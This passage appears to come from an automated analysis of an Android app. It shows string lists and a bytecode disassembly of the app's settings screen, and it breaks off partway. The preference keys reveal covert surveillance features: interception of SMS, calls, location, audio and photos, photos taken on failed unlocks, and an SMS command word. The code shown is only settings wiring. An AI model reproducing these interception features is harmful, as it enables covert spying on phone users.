                    • net.vkurhandler.SettingsActivity.h:Landroid/widget/Spinner
                    • net.vkurhandler.SettingsActivity.ax:Landroid/widget/ArrayAdapter
                    • android.widget.Spinner.setAdapter
                    • net.vkurhandler.SettingsActivity.h:Landroid/widget/Spinner
                    • android.widget.Spinner.setOnItemSelectedListener
                    • net.vkurhandler.SettingsActivity.ac:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.ac:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.at:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.at:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.au:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.au:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.av:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.av:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.ad:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.ad:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.an:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.an:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.ae:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.ae:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.af:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • net.vkurhandler.SettingsActivity.j:Landroid/widget/Spinner
                    • android.widget.Spinner.setEnabled
                    • net.vkurhandler.SettingsActivity.af:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.aj:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.aj:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.ak:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.ak:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.al:Landroid/widget/CheckBox
                    • android.widget.CheckBox.setOnCheckedChangeListener
                    • net.vkurhandler.SettingsActivity.al:Landroid/widget/CheckBox
                    • net.vkurhandler.SettingsActivity.b:Landroid/content/SharedPreferences
                    • android.content.SharedPreferences.getBoolean
                    • android.widget.CheckBox.setChecked
                    • net.vkurhandler.SettingsActivity.c:Lnet/vkurhandler/bg
                    • net.vkurhandler.SettingsActivity.a
                    • net.vkurhandler.SettingsActivity.J:Landroid/widget/TextView
                    • android.widget.TextView.setText
                    Strings
                    • intercept_added_contact
                    • record_env_after_end_call
                    • key_intercept_onoff
                    • make_photo_on_unlock
                    • number_of_failed_unlocks
                    • interception_photo_quality
                    • sms_code_word
                    • netstat
                    • Version:
                    • (
                    • )
                    • sim_checker_1
                    • sim_checker_2
                    • call_password
                    • 3454
                    • change_sim_send_email
                    • change_sim_send_sms
                    • make_photo_on_failed_unlock
                    • add_del_app
                    • transmit_sms
                    • send_on_change_sim
                    • transmit_calls
                    • transmit_location
                    • interception_photo
                    • interception_audio
                    • sms_reply
                    • SettingsActivity
                    • Version: GENERAL_ERROR
                    Position Instruction Meta Information
                    0const/4 v6, 0x1
                    1const/4 v5, 0x0
                    2const/4 v4, 0x0
                    3new-instance v0, Landroid/app/ProgressDialog;
                    5invoke-direct {v0, p0}, Landroid/app/ProgressDialog;-><init>(Landroid/content/Context;)V
                    6iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aA:Landroid/app/ProgressDialog;
                    8iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aA:Landroid/app/ProgressDialog;
                    10invoke-virtual {v0, v4}, Landroid/app/ProgressDialog;->setProgressStyle(I)V
                    12iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aA:Landroid/app/ProgressDialog;
                    13const v1, 0x7f0600e4
                    15invoke-virtual {p0, v1}, Lnet/vkurhandler/SettingsActivity;->getString(I)Ljava/lang/String;
                    16move-result-object v1
                    18invoke-virtual {v0, v1}, Landroid/app/ProgressDialog;->setMessage(Ljava/lang/CharSequence;)V
                    20iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aA:Landroid/app/ProgressDialog;
                    22invoke-virtual {v0, v6}, Landroid/app/ProgressDialog;->setIndeterminate(Z)V
                    24iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aA:Landroid/app/ProgressDialog;
                    26invoke-virtual {v0, v4}, Landroid/app/ProgressDialog;->setCancelable(Z)V
                    28iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aA:Landroid/app/ProgressDialog;
                    30invoke-virtual {v0, v4}, Landroid/app/ProgressDialog;->setCanceledOnTouchOutside(Z)V
                    31const v0, 0x7f0a00b1
                    33invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    34move-result-object v0
                    35check-cast v0, Landroid/widget/LinearLayout;
                    36iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->K:Landroid/widget/LinearLayout;
                    37const v0, 0x7f0a009d
                    39invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    40move-result-object v0
                    41check-cast v0, Landroid/widget/CheckBox;
                    42iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->as:Landroid/widget/CheckBox;
                    44iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->as:Landroid/widget/CheckBox;
                    45new-instance v1, Lnet/vkurhandler/fs;
                    47const-string v2, "intercept_added_contact"
                    49invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    51invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    53iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->as:Landroid/widget/CheckBox;
                    55iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    57const-string v2, "intercept_added_contact"
                    59invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    60move-result v1
                    62invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    63const v0, 0x7f0a00c9
                    65invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    66move-result-object v0
                    67check-cast v0, Landroid/widget/EditText;
                    68iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aa:Landroid/widget/EditText;
                    69const v0, 0x7f0a00cb
                    71invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    72move-result-object v0
                    73check-cast v0, Landroid/widget/Spinner;
                    74iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->m:Landroid/widget/Spinner;
                    75const v0, 0x7f0a00cc
                    77invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    78move-result-object v0
                    79check-cast v0, Landroid/widget/Spinner;
                    80iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->n:Landroid/widget/Spinner;
                    81const v0, 0x7f0a00a6
                    83invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    84move-result-object v0
                    85check-cast v0, Landroid/widget/EditText;
                    86iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ab:Landroid/widget/EditText;
                    88iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ab:Landroid/widget/EditText;
                    90iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    92const-string v2, "record_env_after_end_call"
                    94invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    95move-result v1
                    97invoke-static {v1}, Ljava/lang/String;->valueOf(I)Ljava/lang/String;
                    98move-result-object v1
                    100invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    101const v0, 0x7f0a00cf
                    103invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    104move-result-object v0
                    105check-cast v0, Landroid/widget/TextView;
                    106iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->G:Landroid/widget/TextView;
                    107const v0, 0x7f0a00d3
                    109invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    110move-result-object v0
                    111check-cast v0, Landroid/widget/EditText;
                    112iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->Z:Landroid/widget/EditText;
                    113const v0, 0x7f0a00d1
                    115invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    116move-result-object v0
                    117check-cast v0, Landroid/widget/CheckBox;
                    118iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aq:Landroid/widget/CheckBox;
                    119const v0, 0x7f0a00d0
                    121invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    122move-result-object v0
                    123check-cast v0, Landroid/widget/CheckBox;
                    124iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ar:Landroid/widget/CheckBox;
                    125const v0, 0x7f0a00d2
                    127invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    128move-result-object v0
                    129check-cast v0, Landroid/widget/TextView;
                    130iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->H:Landroid/widget/TextView;
                    132iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aq:Landroid/widget/CheckBox;
                    133new-instance v1, Lnet/vkurhandler/fs;
                    135const-string v2, "key_intercept_onoff"
                    137invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    139invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    141iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ar:Landroid/widget/CheckBox;
                    142new-instance v1, Lnet/vkurhandler/fs;
                    144const-string v2, "key_intercept_onoff"
                    146invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    148invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    150iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aq:Landroid/widget/CheckBox;
                    152iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    154const-string v2, "key_intercept_onoff"
                    156invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    157move-result v1
                    159invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    161iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ar:Landroid/widget/CheckBox;
                    163iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    165const-string v2, "key_intercept_onoff"
                    167invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    168move-result v1
                    170invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    171const v0, 0x7f0a00c5
                    173invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    174move-result-object v0
                    175check-cast v0, Landroid/widget/TextView;
                    176iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->F:Landroid/widget/TextView;
                    177const v0, 0x7f0a00c6
                    179invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    180move-result-object v0
                    181check-cast v0, Landroid/widget/CheckBox;
                    182iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ap:Landroid/widget/CheckBox;
                    184iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ap:Landroid/widget/CheckBox;
                    185new-instance v1, Lnet/vkurhandler/fs;
                    187const-string v2, "make_photo_on_unlock"
                    189invoke-direct {v1, p0, v2, v5}, Lnet/vkurhandler/fs;-><init>(Lnet/vkurhandler/SettingsActivity;Ljava/lang/String;Lnet/vkurhandler/fs;)V
                    191invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setOnCheckedChangeListener(Landroid/widget/CompoundButton$OnCheckedChangeListener;)V
                    193iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ap:Landroid/widget/CheckBox;
                    195iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    197const-string v2, "make_photo_on_unlock"
                    199invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getBoolean(Ljava/lang/String;Z)Z
                    200move-result v1
                    202invoke-virtual {v0, v1}, Landroid/widget/CheckBox;->setChecked(Z)V
                    203const v0, 0x7f0a00c4
                    205invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    206move-result-object v0
                    207check-cast v0, Landroid/widget/Spinner;
                    208iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->l:Landroid/widget/Spinner;
                    209const v0, 0x7f0a00c2
                    211invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    212move-result-object v0
                    213check-cast v0, Landroid/widget/CheckBox;
                    214iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->au:Landroid/widget/CheckBox;
                    215const v0, 0x7f0a00a8
                    217invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    218move-result-object v0
                    219check-cast v0, Landroid/widget/Button;
                    220iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->M:Landroid/widget/Button;
                    221const v0, 0x7f0a00c1
                    223invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    224move-result-object v0
                    225check-cast v0, Landroid/widget/TextView;
                    226iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->D:Landroid/widget/TextView;
                    227const v0, 0x7f0a00c3
                    229invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    230move-result-object v0
                    231check-cast v0, Landroid/widget/TextView;
                    232iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->E:Landroid/widget/TextView;
                    234iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->l:Landroid/widget/Spinner;
                    236iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    238const-string v2, "number_of_failed_unlocks"
                    239const/4 v3, 0x3
                    241invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    242move-result v1
                    243add-int/lit8 v1, v1, -0x1
                    245invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    246const v0, 0x7f0a00b0
                    248invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    249move-result-object v0
                    250check-cast v0, Landroid/widget/CheckBox;
                    251iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->an:Landroid/widget/CheckBox;
                    252const v0, 0x7f0a00a0
                    254invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    255move-result-object v0
                    256check-cast v0, Landroid/widget/Button;
                    257iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->S:Landroid/widget/Button;
                    258const v0, 0x7f0a00a4
                    260invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    261move-result-object v0
                    262check-cast v0, Landroid/widget/Button;
                    263iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->T:Landroid/widget/Button;
                    264const v0, 0x7f0a00a2
                    266invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    267move-result-object v0
                    268check-cast v0, Landroid/widget/Spinner;
                    269iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->k:Landroid/widget/Spinner;
                    271iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->k:Landroid/widget/Spinner;
                    273iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    275const-string v2, "interception_photo_quality"
                    277invoke-interface {v1, v2, v4}, Landroid/content/SharedPreferences;->getInt(Ljava/lang/String;I)I
                    278move-result v1
                    280invoke-virtual {v0, v1}, Landroid/widget/Spinner;->setSelection(I)V
                    281const v0, 0x7f0a0099
                    283invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    284move-result-object v0
                    285check-cast v0, Landroid/widget/TextView;
                    286iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->B:Landroid/widget/TextView;
                    287const v0, 0x7f0a009a
                    289invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    290move-result-object v0
                    291check-cast v0, Landroid/widget/CheckBox;
                    292iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ad:Landroid/widget/CheckBox;
                    293const v0, 0x7f0a009b
                    295invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    296move-result-object v0
                    297check-cast v0, Landroid/widget/CheckBox;
                    298iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ae:Landroid/widget/CheckBox;
                    299const v0, 0x7f0a0052
                    301invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    302move-result-object v0
                    303check-cast v0, Landroid/widget/CheckBox;
                    304iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->af:Landroid/widget/CheckBox;
                    305const v0, 0x7f0a00f4
                    307invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    308move-result-object v0
                    309check-cast v0, Landroid/widget/CheckBox;
                    310iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->am:Landroid/widget/CheckBox;
                    311const v0, 0x7f0a00f3
                    313invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    314move-result-object v0
                    315check-cast v0, Landroid/widget/CheckBox;
                    316iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ao:Landroid/widget/CheckBox;
                    317const v0, 0x7f0a009f
                    319invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    320move-result-object v0
                    321check-cast v0, Landroid/widget/CheckBox;
                    322iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aj:Landroid/widget/CheckBox;
                    323const v0, 0x7f0a00a3
                    325invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    326move-result-object v0
                    327check-cast v0, Landroid/widget/CheckBox;
                    328iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ak:Landroid/widget/CheckBox;
                    329const v0, 0x7f0a00c0
                    331invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    332move-result-object v0
                    333check-cast v0, Landroid/widget/EditText;
                    334iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->X:Landroid/widget/EditText;
                    336iget-object v0, p0, Lnet/vkurhandler/SettingsActivity;->X:Landroid/widget/EditText;
                    338iget-object v1, p0, Lnet/vkurhandler/SettingsActivity;->b:Landroid/content/SharedPreferences;
                    340const-string v2, "sms_code_word"
                    342const-string v3, "netstat"
                    344invoke-interface {v1, v2, v3}, Landroid/content/SharedPreferences;->getString(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                    345move-result-object v1
                    347invoke-virtual {v0, v1}, Landroid/widget/EditText;->setText(Ljava/lang/CharSequence;)V
                    348const v0, 0x7f0a00bf
                    350invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    351move-result-object v0
                    352check-cast v0, Landroid/widget/TextView;
                    353iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->C:Landroid/widget/TextView;
                    354const v0, 0x7f0a0051
                    356invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    357move-result-object v0
                    358check-cast v0, Landroid/widget/TextView;
                    359iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->A:Landroid/widget/TextView;
                    360const v0, 0x7f0a00ae
                    362invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    363move-result-object v0
                    364check-cast v0, Landroid/widget/CheckBox;
                    365iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->al:Landroid/widget/CheckBox;
                    366const v0, 0x7f0a00ce
                    368invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    369move-result-object v0
                    370check-cast v0, Landroid/widget/Button;
                    371iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->R:Landroid/widget/Button;
                    372const v0, 0x7f0a00cd
                    374invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    375move-result-object v0
                    376check-cast v0, Landroid/widget/TextView;
                    377iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->z:Landroid/widget/TextView;
                    378const v0, 0x7f0a00aa
                    380invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    381move-result-object v0
                    382check-cast v0, Landroid/widget/Button;
                    383iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->Q:Landroid/widget/Button;
                    384const v0, 0x7f0a009e
                    386invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    387move-result-object v0
                    388check-cast v0, Landroid/widget/CheckBox;
                    389iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->av:Landroid/widget/CheckBox;
                    390const v0, 0x7f0a00fb
                    392invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    393move-result-object v0
                    394check-cast v0, Landroid/widget/CheckBox;
                    395iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->aw:Landroid/widget/CheckBox;
                    396const v0, 0x7f0a00a5
                    398invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    399move-result-object v0
                    400check-cast v0, Landroid/widget/TextView;
                    401iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->x:Landroid/widget/TextView;
                    402const v0, 0x7f0a009c
                    404invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    405move-result-object v0
                    406check-cast v0, Landroid/widget/Button;
                    407iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->O:Landroid/widget/Button;
                    408const v0, 0x7f0a00ba
                    410invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    411move-result-object v0
                    412check-cast v0, Landroid/widget/CheckBox;
                    413iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->ac:Landroid/widget/CheckBox;
                    414const v0, 0x7f0a00b4
                    416invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    417move-result-object v0
                    418check-cast v0, Landroid/widget/CheckBox;
                    419iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->at:Landroid/widget/CheckBox;
                    420const v0, 0x7f0a00bc
                    422invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    423move-result-object v0
                    424check-cast v0, Landroid/widget/TextView;
                    425iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->v:Landroid/widget/TextView;
                    426const v0, 0x7f0a00bd
                    428invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    429move-result-object v0
                    430check-cast v0, Landroid/widget/TextView;
                    431iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->w:Landroid/widget/TextView;
                    432const v0, 0x7f0a00be
                    434invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    435move-result-object v0
                    436check-cast v0, Landroid/widget/EditText;
                    437iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->W:Landroid/widget/EditText;
                    438const v0, 0x7f0a0098
                    440invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    441move-result-object v0
                    442check-cast v0, Landroid/widget/Spinner;
                    443iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->h:Landroid/widget/Spinner;
                    444const v0, 0x7f0a00b3
                    446invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    447move-result-object v0
                    448check-cast v0, Landroid/widget/Spinner;
                    449iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->i:Landroid/widget/Spinner;
                    450const v0, 0x7f0a0053
                    452invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    453move-result-object v0
                    454check-cast v0, Landroid/widget/Spinner;
                    455iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->j:Landroid/widget/Spinner;
                    456const v0, 0x7f0a00bb
                    458invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    459move-result-object v0
                    460check-cast v0, Landroid/widget/Button;
                    461iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->P:Landroid/widget/Button;
                    462const v0, 0x7f0a00b2
                    464invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    465move-result-object v0
                    466check-cast v0, Landroid/widget/TextView;
                    467iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->u:Landroid/widget/TextView;
                    468const v0, 0x7f0a0097
                    470invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    471move-result-object v0
                    472check-cast v0, Landroid/widget/TextView;
                    473iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->o:Landroid/widget/TextView;
                    474const v0, 0x7f0a00a7
                    476invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    477move-result-object v0
                    478check-cast v0, Landroid/widget/TextView;
                    479iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->p:Landroid/widget/TextView;
                    480const v0, 0x7f0a00d4
                    482invoke-virtual {p0, v0}, Lnet/vkurhandler/SettingsActivity;->findViewById(I)Landroid/view/View;
                    483move-result-object v0
                    484check-cast v0, Landroid/widget/TextView;
                    485iput-object v0, p0, Lnet/vkurhandler/SettingsActivity;->J:Landroid/widget/TextView;
                    486try_start_31d:
